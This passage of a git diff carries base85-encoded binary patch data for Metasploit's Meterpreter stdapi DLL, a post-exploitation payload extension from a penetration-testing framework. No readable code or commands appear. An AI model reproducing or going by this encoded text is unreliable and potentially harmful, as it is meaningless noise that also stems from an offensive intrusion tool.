z@_WN`$oByT)>>}*KI7Ge*NTWHr5&}wRAZ2Q{h9-R*Z%Sb&i@xTIt#L4r%ldC?hM0= zxuQ`y0)DT38JxeFixl|_;p1C4Me%*%psh|_Va+f3DOvKP;g(&FFM+l8aS_|ccR{e? zD2I3-*MBjQ6@*{2Kwc+qiBkEdLnyBY7p<{;?4$FA@+z;C5z6bj;)O@G7Y50@ndA%Q z#aHn{dFfTWFwLVA@}{f2v?>dP^1`Zkp}aIIUbszr;UVqiB~W$TDI=6OJf*x)-rf{1 z?5@3Vi1r>auj+(Q-l&uc!qwUf<yA?^7yhihFy#azT)u{Z^4g+!p}dMH<%RN^q2vqa g>3reZ6DE&e_P;zq>m_EXy`4MGvb^rxpvsm12Oh|bQUCw| diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index 079a55bc9c459f1fbf09e1dffd79a9d6255a88d6..f16efa1d0273c449f8a015daac5d2cf629cc6708 100755 GIT binary patch delta 24017 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 